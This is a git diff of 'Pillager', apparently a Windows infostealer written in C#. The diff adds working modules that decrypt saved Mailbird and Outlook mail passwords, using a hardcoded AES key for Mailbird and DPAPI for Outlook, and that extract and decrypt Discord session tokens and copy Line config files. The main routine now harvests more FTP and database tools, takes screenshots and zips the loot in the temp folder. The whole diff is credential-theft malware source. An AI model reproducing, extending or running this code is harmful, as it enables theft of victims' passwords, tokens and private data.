||||
|
||||
protected virtual void WriteHeader(string basepath, string name, DateTime lastModificationTime, long count, string userName, string groupName, int mode)
|
||||
{
|
||||
var tarHeader = new UsTarHeader()
|
||||
{
|
||||
FileName = name.Replace(basepath, "").Replace("\\", "/"),
|
||||
LastModification = lastModificationTime,
|
||||
SizeInBytes = count,
|
||||
UserId = userName.GetHashCode(),
|
||||
UserName = userName,
|
||||
GroupId = groupName.GetHashCode(),
|
||||
GroupName = groupName,
|
||||
Mode = mode
|
||||
};
|
||||
OutStream.Write(tarHeader.GetHeaderValue(), 0, tarHeader.HeaderSize);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,127 +0,0 @@
|
|||
using System;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
|
||||
namespace tar_cs
|
||||
{
|
||||
/// <summary>
|
||||
/// UsTar header implementation.
|
||||
/// </summary>
|
||||
internal class UsTarHeader : TarHeader
|
||||
{
|
||||
private const string magic = "ustar";
|
||||
private const string version = " ";
|
||||
private string groupName;
|
||||
|
||||
private string namePrefix = string.Empty;
|
||||
private string userName;
|
||||
|
||||
public override string UserName
|
||||
{
|
||||
get { return userName.Replace("\0",string.Empty); }
|
||||
set
|
||||
{
|
||||
if (value.Length > 32)
|
||||
{
|
||||
throw new TarException("user name can not be longer than 32 chars");
|
||||
}
|
||||
userName = value;
|
||||
}
|
||||
}
|
||||
|
||||
public override string GroupName
|
||||
{
|
||||
get { return groupName.Replace("\0",string.Empty); }
|
||||
set
|
||||
{
|
||||
if (value.Length > 32)
|
||||
{
|
||||
throw new TarException("group name can not be longer than 32 chars");
|
||||
}
|
||||
groupName = value;
|
||||
}
|
||||
}
|
||||
|
||||
public override string FileName
|
||||
{
|
||||
get { return namePrefix.Replace("\0", string.Empty) + base.FileName.Replace("\0", string.Empty); }
|
||||
set
|
||||
{
|
||||
if (value.Length > 100)
|
||||
{
|
||||
if (value.Length > 255)
|
||||
{
|
||||
throw new TarException("UsTar fileName can not be longer thatn 255 chars");
|
||||
}
|
||||
int position = value.Length - 100;
|
||||
|
||||
// Find first path separator in the remaining 100 chars of the file name
|
||||
while (!IsPathSeparator(value[position]))
|
||||
{
|
||||
++position;
|
||||
if (position == value.Length)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (position == value.Length)
|
||||
position = value.Length - 100;
|
||||
namePrefix = value.Substring(0, position);
|
||||
base.FileName = value.Substring(position, value.Length - position);
|
||||
}
|
||||
else
|
||||
{
|
||||
base.FileName = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override bool UpdateHeaderFromBytes()
|
||||
{
|
||||
byte[] bytes = GetBytes();
|
||||
UserName = Encoding.ASCII.GetString(bytes, 0x109, 32);
|
||||
GroupName = Encoding.ASCII.GetString(bytes, 0x129, 32);
|
||||
namePrefix = Encoding.ASCII.GetString(bytes, 347, 157);
|
||||
return base.UpdateHeaderFromBytes();
|
||||
}
|
||||
|
||||
internal static bool IsPathSeparator(char ch)
|
||||
{
|
||||
return (ch == '\\' || ch == '/' || ch == '|'); // All the path separators I ever met.
|
||||
}
|
||||
|
||||
public override byte[] GetHeaderValue()
|
||||
{
|
||||
byte[] header = base.GetHeaderValue();
|
||||
|
||||
Encoding.ASCII.GetBytes(magic).CopyTo(header, 0x101); // Mark header as ustar
|
||||
Encoding.ASCII.GetBytes(version).CopyTo(header, 0x106);
|
||||
Encoding.ASCII.GetBytes(UserName).CopyTo(header, 0x109);
|
||||
Encoding.ASCII.GetBytes(GroupName).CopyTo(header, 0x129);
|
||||
Encoding.ASCII.GetBytes(namePrefix).CopyTo(header, 347);
|
||||
|
||||
if (SizeInBytes >= 0x1FFFFFFFF)
|
||||
{
|
||||
byte[] bytes = BitConverter.GetBytes(IPAddress.HostToNetworkOrder(SizeInBytes));
|
||||
SetMarker(AlignTo12(bytes)).CopyTo(header, 124);
|
||||
}
|
||||
|
||||
RecalculateChecksum(header);
|
||||
Encoding.ASCII.GetBytes(HeaderChecksumString).CopyTo(header, 148);
|
||||
return header;
|
||||
}
|
||||
|
||||
private static byte[] SetMarker(byte[] bytes)
|
||||
{
|
||||
bytes[0] |= 0x80;
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static byte[] AlignTo12(byte[] bytes)
|
||||
{
|
||||
var retVal = new byte[12];
|
||||
bytes.CopyTo(retVal, 12 - bytes.Length);
|
||||
return retVal;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,9 +1,7 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Mails
|
||||
{
|
||||
|
@ -15,7 +13,7 @@ namespace Pillager.Mails
|
|||
{
|
||||
try
|
||||
{
|
||||
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command")?.GetValue("").ToString();
|
||||
string foxPath = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command")?.GetValue("").ToString();
|
||||
foxPath = foxPath?.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
|
||||
return foxPath;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Mails
|
||||
{
|
||||
internal class MailBird
|
||||
{
|
||||
public static string MailName = "MailBird";
|
||||
|
||||
public static byte[] key = { 0X35, 0XE0, 0X85, 0X30, 0X8A, 0X6D, 0X91, 0XA3, 0X96, 0X5F, 0XF2, 0X37, 0X95, 0XD1, 0XCF, 0X36, 0X71, 0XDE, 0X7E, 0X5B, 0X62, 0X38, 0XD5, 0XFB, 0XDB, 0X64, 0XA6, 0X4B, 0XD3, 0X5A, 0X05, 0X53 };
|
||||
public static byte[] iv = { 0X98, 0X0F, 0X68, 0XCE, 0X77, 0X43, 0X4C, 0X47, 0XF9, 0XE9, 0X0E, 0X82, 0XF4, 0X6B, 0X4C, 0XE8 };
|
||||
|
||||
public static string GetInfo()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
try
|
||||
{
|
||||
string dbpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mailbird\\Store\\Store.db");
|
||||
if (!File.Exists(dbpath)) return sb.ToString();
|
||||
string tempdbPath = Path.GetTempFileName();
|
||||
File.Copy(dbpath, tempdbPath, true);
|
||||
SQLiteHandler handler = new SQLiteHandler(tempdbPath);
|
||||
if (handler.ReadTable("Accounts"))
|
||||
{
|
||||
for (int i = 0; i < handler.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string server = handler.GetValue(i, "Server_Host");
|
||||
string username = handler.GetValue(i, "Username");
|
||||
string password = handler.GetValue(i, "EncryptedPassword");
|
||||
password = AESDecrypt(Convert.FromBase64String(password), key, iv);
|
||||
sb.AppendLine("Server_Host:" + server);
|
||||
sb.AppendLine("Username:" + username);
|
||||
sb.AppendLine("Password:" + password);
|
||||
sb.AppendLine();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
handler = new SQLiteHandler(tempdbPath);
|
||||
if (handler.ReadTable("OAuth2Credentials"))
|
||||
{
|
||||
try
|
||||
{
|
||||
for (int i = 0; i < handler.GetRowCount(); i++)
|
||||
{
|
||||
string username = handler.GetValue(i, "AuthorizedAccountId");
|
||||
string password = handler.GetValue(i, "AccessToken");
|
||||
sb.AppendLine("AuthorizedAccountId:" + username);
|
||||
sb.AppendLine("AccessToken:" + password);
|
||||
sb.AppendLine();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
File.Delete(tempdbPath);
|
||||
return sb.ToString();
|
||||
}
|
||||
catch { return sb.ToString(); }
|
||||
}
|
||||
|
||||
private static string AESDecrypt(byte[] encryptedBytes, byte[] bKey, byte[] iv)
|
||||
{
|
||||
MemoryStream mStream = new MemoryStream(encryptedBytes);
|
||||
RijndaelManaged aes = new RijndaelManaged();
|
||||
aes.Mode = CipherMode.CBC;
|
||||
aes.Padding = PaddingMode.PKCS7;
|
||||
aes.Key = bKey;
|
||||
aes.IV = iv;
|
||||
CryptoStream cryptoStream = new CryptoStream(mStream, aes.CreateDecryptor(), CryptoStreamMode.Read);
|
||||
try
|
||||
{
|
||||
byte[] tmp = new byte[encryptedBytes.Length + 32];
|
||||
int len = cryptoStream.Read(tmp, 0, encryptedBytes.Length + 32);
|
||||
byte[] ret = new byte[len];
|
||||
Array.Copy(tmp, 0, ret, 0, len);
|
||||
return Encoding.UTF8.GetString(ret);
|
||||
}
|
||||
finally
|
||||
{
|
||||
cryptoStream.Close();
|
||||
mStream.Close();
|
||||
aes.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string result = GetInfo();
|
||||
if (string.IsNullOrEmpty(result)) return;
|
||||
string savepath = Path.Combine(path, MailName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, MailName + ".txt"), result);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Pillager.Mails
|
||||
{
|
||||
internal class Outlook
|
||||
{
|
||||
public static string MailName = "Outlook";
|
||||
|
||||
private static Regex mailClient = new Regex(@"^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$");
|
||||
private static Regex smptClient = new Regex(@"^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$");
|
||||
|
||||
public static string GrabOutlook()
|
||||
{
|
||||
StringBuilder data = new StringBuilder();
|
||||
|
||||
string[] RegDirecories = {
|
||||
"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
|
||||
"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
|
||||
"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
|
||||
"Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"
|
||||
};
|
||||
|
||||
string[] mailClients = {
|
||||
"SMTP Email Address","SMTP Server","POP3 Server",
|
||||
"POP3 User Name","SMTP User Name","NNTP Email Address",
|
||||
"NNTP User Name","NNTP Server","IMAP Server","IMAP User Name",
|
||||
"Email","HTTP User","HTTP Server URL","POP3 User",
|
||||
"IMAP User", "HTTPMail User Name","HTTPMail Server",
|
||||
"SMTP User","POP3 Password2","IMAP Password2",
|
||||
"NNTP Password2","HTTPMail Password2","SMTP Password2",
|
||||
"POP3 Password","IMAP Password","NNTP Password",
|
||||
"HTTPMail Password","SMTP Password"
|
||||
};
|
||||
|
||||
foreach (string dir in RegDirecories)
|
||||
data.Append(Get(dir, mailClients));
|
||||
|
||||
return data.ToString();
|
||||
}
|
||||
|
||||
private static string Get(string path, string[] clients)
|
||||
{
|
||||
StringBuilder data = new StringBuilder();
|
||||
try
|
||||
{
|
||||
foreach (string client in clients)
|
||||
try
|
||||
{
|
||||
object value = GetInfoFromRegistry(path, client);
|
||||
if (value == null) continue;
|
||||
if (client.Contains("Password") && !client.Contains("2"))
|
||||
data.AppendLine($"{client}: {DecryptValue((byte[])value)}");
|
||||
else
|
||||
if (smptClient.IsMatch(value.ToString()) || mailClient.IsMatch(value.ToString()))
|
||||
data.AppendLine($"{client}: {value}");
|
||||
else
|
||||
data.AppendLine($"{client}: {Encoding.UTF8.GetString((byte[])value).Replace(Convert.ToChar(0).ToString(), "")}");
|
||||
}
|
||||
catch { }
|
||||
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey(path, false);
|
||||
if (key != null)
|
||||
{
|
||||
string[] Clients = key.GetSubKeyNames();
|
||||
|
||||
foreach (string client in Clients)
|
||||
data.Append($"{Get($"{path}\\{client}", clients)}");
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return data.ToString();
|
||||
}
|
||||
|
||||
private static object GetInfoFromRegistry(string path, string valueName)
|
||||
{
|
||||
object value = null;
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(path, false);
|
||||
if (registryKey == null) return null;
|
||||
value = registryKey.GetValue(valueName);
|
||||
registryKey.Close();
|
||||
}
|
||||
catch { }
|
||||
return value;
|
||||
}
|
||||
|
||||
private static string DecryptValue(byte[] encrypted)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] decoded = new byte[encrypted.Length - 1];
|
||||
Buffer.BlockCopy(encrypted, 1, decoded, 0, encrypted.Length - 1);
|
||||
return Encoding.UTF8.GetString(
|
||||
ProtectedData.Unprotect(
|
||||
decoded, null, DataProtectionScope.CurrentUser))
|
||||
.Replace(Convert.ToChar(0).ToString(), "");
|
||||
}
|
||||
catch { }
|
||||
return "null";
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string result = GrabOutlook();
|
||||
if (string.IsNullOrEmpty(result)) return;
|
||||
string savepath = Path.Combine(path, MailName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, "result.txt"), result);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,9 +1,5 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Messengers
|
||||
{
|
||||
|
|
|
@ -0,0 +1,97 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Pillager.Messengers
|
||||
{
|
||||
internal class Discord
|
||||
{
|
||||
public static string MessengerName = "Discord";
|
||||
|
||||
public static Dictionary<string, string> DiscordPaths = new Dictionary<string, string>
|
||||
{
|
||||
{ "Discord", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Discord" )} ,
|
||||
{ "Discord PTB",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DiscordPTB" )},
|
||||
{ "Discord Canary", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"DiscordCanary" )} ,
|
||||
};
|
||||
|
||||
public static byte[] GetMasterKey(string path)
|
||||
{
|
||||
string filePath = Path.Combine(path, "Local State");
|
||||
byte[] masterKey = new byte[] { };
|
||||
if (!File.Exists(filePath))
|
||||
return null;
|
||||
var pattern = new Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" ", ""));
|
||||
foreach (System.Text.RegularExpressions.Match prof in pattern)
|
||||
{
|
||||
if (prof.Success)
|
||||
masterKey = Convert.FromBase64String((prof.Groups[1].Value));
|
||||
}
|
||||
byte[] temp = new byte[masterKey.Length - 5];
|
||||
Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);
|
||||
try
|
||||
{
|
||||
return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetToken(string path, byte[] key)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string leveldbpath = Path.Combine(path, "Local Storage\\leveldb");
|
||||
foreach (string filepath in Directory.GetFiles(leveldbpath, "*.l??"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = File.ReadAllText(filepath);
|
||||
if (key != null)
|
||||
{
|
||||
foreach (object obj in Regex.Matches(content, "dQw4w9WgXcQ:([^.*\\['(.*)'\\].*$][^\"]*)"))
|
||||
{
|
||||
Match match2 = (Match)obj;
|
||||
byte[] buffer = Convert.FromBase64String(match2.Groups[1].Value);
|
||||
byte[] cipherText = buffer.Skip(15).ToArray();
|
||||
byte[] iv = buffer.Skip(3).Take(12).ToArray();
|
||||
byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray();
|
||||
cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray();
|
||||
byte[] token = new AesGcm().Decrypt(key, iv, null, cipherText, tag);
|
||||
string decrypted_token = Encoding.UTF8.GetString(token);
|
||||
stringBuilder.AppendLine(decrypted_token);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
foreach (var item in DiscordPaths)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] key = GetMasterKey(item.Value);
|
||||
if (key == null) continue;
|
||||
string result = GetToken(item.Value, key);
|
||||
if (string.IsNullOrEmpty(result)) continue;
|
||||
string savepath = Path.Combine(path, item.Key);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, "token.txt"), result);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,11 +1,7 @@
|
|||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Messengers
|
||||
{
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Pillager.Messengers
|
||||
{
|
||||
internal class Line
|
||||
{
|
||||
public static string MessengerName = "Line";
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string inipath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Data/Line.ini");
|
||||
if (!File.Exists(inipath)) return;
|
||||
string savepath = Path.Combine(path, MessengerName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.Copy(inipath, Path.Combine(savepath, "Line.ini"));
|
||||
string info = "Computer Name = " + Environment.MachineName + Environment.NewLine + "User Name = " + Environment.UserName;
|
||||
File.WriteAllText(Path.Combine(savepath, "infp.txt"), info);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,8 +1,8 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Messengers
|
||||
{
|
||||
|
@ -47,7 +47,7 @@ namespace Pillager.Messengers
|
|||
}
|
||||
foreach (var qq in Directory.GetFiles(@"\\.\Pipe\"))
|
||||
{
|
||||
if (qq.Contains(@"\\.\Pipe\QQ_") && qq.Contains(@"_pipe")) online.Add(qq.Replace(@"\\.\Pipe\QQ_", "").Replace("_pipe", ""));
|
||||
if (qq.Contains(@"\\.\Pipe\QQ_") && qq.Contains("_pipe")) online.Add(qq.Replace(@"\\.\Pipe\QQ_", "").Replace("_pipe", ""));
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (all.Count > 0)
|
||||
|
|
|
@ -1,13 +1,8 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Others
|
||||
{
|
||||
|
@ -37,10 +32,7 @@ namespace Pillager.Others
|
|||
{
|
||||
graphics.CopyFromScreen(screen.Bounds.Left, screen.Bounds.Top, 0, 0, new Size(bitmap.Width, bitmap.Height), CopyPixelOperation.SourceCopy);
|
||||
}
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
bitmap.Save(Path.Combine(savepath, OtherName + i + ".jpg"), ImageFormat.Jpeg);
|
||||
}
|
||||
bitmap.Save(Path.Combine(savepath, OtherName + i + ".jpg"), ImageFormat.Jpeg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,12 +1,8 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Others
|
||||
{
|
||||
|
@ -17,22 +13,18 @@ namespace Pillager.Others
|
|||
{
|
||||
const int dwClientVersion = 2;
|
||||
IntPtr clientHandle = IntPtr.Zero;
|
||||
IntPtr pdwNegotiatedVersion = IntPtr.Zero;
|
||||
IntPtr pInterfaceList = IntPtr.Zero;
|
||||
Native.WLAN_INTERFACE_INFO_LIST interfaceList;
|
||||
Native.WLAN_PROFILE_INFO_LIST wifiProfileList;
|
||||
Guid InterfaceGuid;
|
||||
IntPtr pAvailableNetworkList = IntPtr.Zero;
|
||||
string wifiXmlProfile = null;
|
||||
IntPtr wlanAccess = IntPtr.Zero;
|
||||
IntPtr profileList = IntPtr.Zero;
|
||||
string profileName = "";
|
||||
string profileName;
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
try
|
||||
{
|
||||
// Open Wifi Handle
|
||||
Native.WlanOpenHandle(dwClientVersion, IntPtr.Zero, out pdwNegotiatedVersion, ref clientHandle);
|
||||
Native.WlanOpenHandle(dwClientVersion, IntPtr.Zero, out _, ref clientHandle);
|
||||
|
||||
Native.WlanEnumInterfaces(clientHandle, IntPtr.Zero, ref pInterfaceList);
|
||||
interfaceList = new Native.WLAN_INTERFACE_INFO_LIST(pInterfaceList);
|
||||
|
@ -50,7 +42,7 @@ namespace Pillager.Others
|
|||
{
|
||||
profileName = (wifiProfileList.ProfileInfo[i]).strProfileName;
|
||||
int decryptKey = 63;
|
||||
Native.WlanGetProfile(clientHandle, InterfaceGuid, profileName, IntPtr.Zero, out wifiXmlProfile, ref decryptKey, out wlanAccess);
|
||||
Native.WlanGetProfile(clientHandle, InterfaceGuid, profileName, IntPtr.Zero, out var wifiXmlProfile, ref decryptKey, out _);
|
||||
XmlDocument xmlProfileXml = new XmlDocument();
|
||||
xmlProfileXml.LoadXml(wifiXmlProfile);
|
||||
XmlNodeList pathToSSID = xmlProfileXml.SelectNodes("//*[name()='WLANProfile']/*[name()='SSIDConfig']/*[name()='SSID']/*[name()='name']");
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<DefineConstants>TRACE;DEBUG</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
|
@ -45,13 +45,16 @@
|
|||
<Compile Include="Browsers\FireFox.cs" />
|
||||
<Compile Include="Browsers\IE.cs" />
|
||||
<Compile Include="Browsers\OldSogou.cs" />
|
||||
<Compile Include="FTP\CoreFTP.cs" />
|
||||
<Compile Include="FTP\FileZilla.cs" />
|
||||
<Compile Include="FTP\Snowflake.cs" />
|
||||
<Compile Include="FTP\WinSCP.cs" />
|
||||
<Compile Include="Helper\AesGcm.cs" />
|
||||
<Compile Include="Helper\Asn1Der.cs" />
|
||||
<Compile Include="Helper\BCrypt.cs" />
|
||||
<Compile Include="Browsers\Chrome.cs" />
|
||||
<Compile Include="Helper\Blowfish.cs" />
|
||||
<Compile Include="Helper\decryptMoz3DES.cs" />
|
||||
<Compile Include="Helper\Navicat11Cipher.cs" />
|
||||
<Compile Include="Helper\Pixini.cs" />
|
||||
<Compile Include="Helper\LockedFile.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
|
@ -60,21 +63,16 @@
|
|||
<Compile Include="Helper\Native.cs" />
|
||||
<Compile Include="Helper\Pbkdf2.cs" />
|
||||
<Compile Include="Helper\RC4Crypt.cs" />
|
||||
<Compile Include="Helper\tar-cs\DataWriter.cs" />
|
||||
<Compile Include="Helper\tar-cs\IArchiveDataWriter.cs" />
|
||||
<Compile Include="Helper\tar-cs\ITarHeader.cs" />
|
||||
<Compile Include="Helper\tar-cs\LegacyTarWriter.cs" />
|
||||
<Compile Include="Helper\tar-cs\TarException.cs" />
|
||||
<Compile Include="Helper\tar-cs\TarHeader.cs" />
|
||||
<Compile Include="Helper\tar-cs\TarWriter.cs" />
|
||||
<Compile Include="Helper\tar-cs\UsTarHeader.cs" />
|
||||
<Compile Include="Helper\Tar.cs" />
|
||||
<Compile Include="Helper\TripleDESHelper.cs" />
|
||||
<Compile Include="Helper\VaultCli.cs" />
|
||||
<Compile Include="Helper\ZipStorer.cs" />
|
||||
<Compile Include="Mails\Foxmail.cs" />
|
||||
<Compile Include="Mails\MailBird.cs" />
|
||||
<Compile Include="Mails\MailMaster.cs" />
|
||||
<Compile Include="Mails\Outlook.cs" />
|
||||
<Compile Include="Messengers\DingTalk.cs" />
|
||||
<Compile Include="Messengers\Discord.cs" />
|
||||
<Compile Include="Messengers\Enigma.cs" />
|
||||
<Compile Include="Messengers\Line.cs" />
|
||||
<Compile Include="Messengers\QQ.cs" />
|
||||
<Compile Include="Messengers\Skype.cs" />
|
||||
<Compile Include="Messengers\Telegram.cs" />
|
||||
|
@ -84,6 +82,7 @@
|
|||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Helper\SQLiteHandler.cs" />
|
||||
<Compile Include="Softwares\NeteaseCloudMusic.cs" />
|
||||
<Compile Include="Tools\DBeaver.cs" />
|
||||
<Compile Include="Tools\FinalShell.cs" />
|
||||
<Compile Include="Tools\MobaXterm.cs" />
|
||||
<Compile Include="Tools\Navicat.cs" />
|
||||
|
|
|
@ -15,7 +15,7 @@ namespace Pillager
|
|||
static void Main(string[] args)
|
||||
{
|
||||
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
|
||||
string savezippath = savepath + ".tar.gz";
|
||||
string savezippath = savepath + ".zip";
|
||||
if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
|
||||
if (File.Exists(savezippath)) File.Delete(savezippath);
|
||||
Directory.CreateDirectory(savepath);
|
||||
|
@ -33,6 +33,8 @@ namespace Pillager
|
|||
//FTP
|
||||
WinSCP.Save(savepath);
|
||||
FileZilla.Save(savepath);
|
||||
CoreFTP.Save(savepath);
|
||||
Snowflake.Save(savepath);
|
||||
|
||||
//Tools
|
||||
MobaXterm.Save(savepath);
|
||||
|
@ -41,6 +43,7 @@ namespace Pillager
|
|||
RDCMan.Save(savepath);
|
||||
FinalShell.Save(savepath);
|
||||
SQLyog.Save(savepath);
|
||||
DBeaver.Save(savepath);
|
||||
|
||||
//Softwares
|
||||
VSCode.Save(savepath);
|
||||
|
@ -49,6 +52,8 @@ namespace Pillager
|
|||
//Mail
|
||||
MailMaster.Save(savepath);
|
||||
Foxmail.Save(savepath);
|
||||
Outlook.Save(savepath);
|
||||
MailBird.Save(savepath);
|
||||
|
||||
//Messengers
|
||||
QQ.Save(savepath);
|
||||
|
@ -56,10 +61,18 @@ namespace Pillager
|
|||
Skype.Save(savepath);
|
||||
Enigma.Save(savepath);
|
||||
DingTalk.Save(savepath);
|
||||
Line.Save(savepath);
|
||||
Discord.Save(savepath);
|
||||
|
||||
//Tar.gz
|
||||
Tar.Pack(savepath, savezippath);
|
||||
Directory.Delete(savepath, true);
|
||||
//Zip
|
||||
ZipStorer zip = ZipStorer.Create(savezippath);
|
||||
foreach (var item in Directory.GetDirectories(savepath))
|
||||
zip.AddDirectory(ZipStorer.Compression.Deflate, item, "");
|
||||
foreach (var item in Directory.GetFiles(savepath))
|
||||
zip.AddFile(ZipStorer.Compression.Deflate, item, Path.GetFileName(item));
|
||||
zip.Close();
|
||||
|
||||
Directory.Delete(savepath, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// 有关程序集的一般信息由以下
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Softwares
|
||||
{
|
||||
|
|
|
@ -1,9 +1,6 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
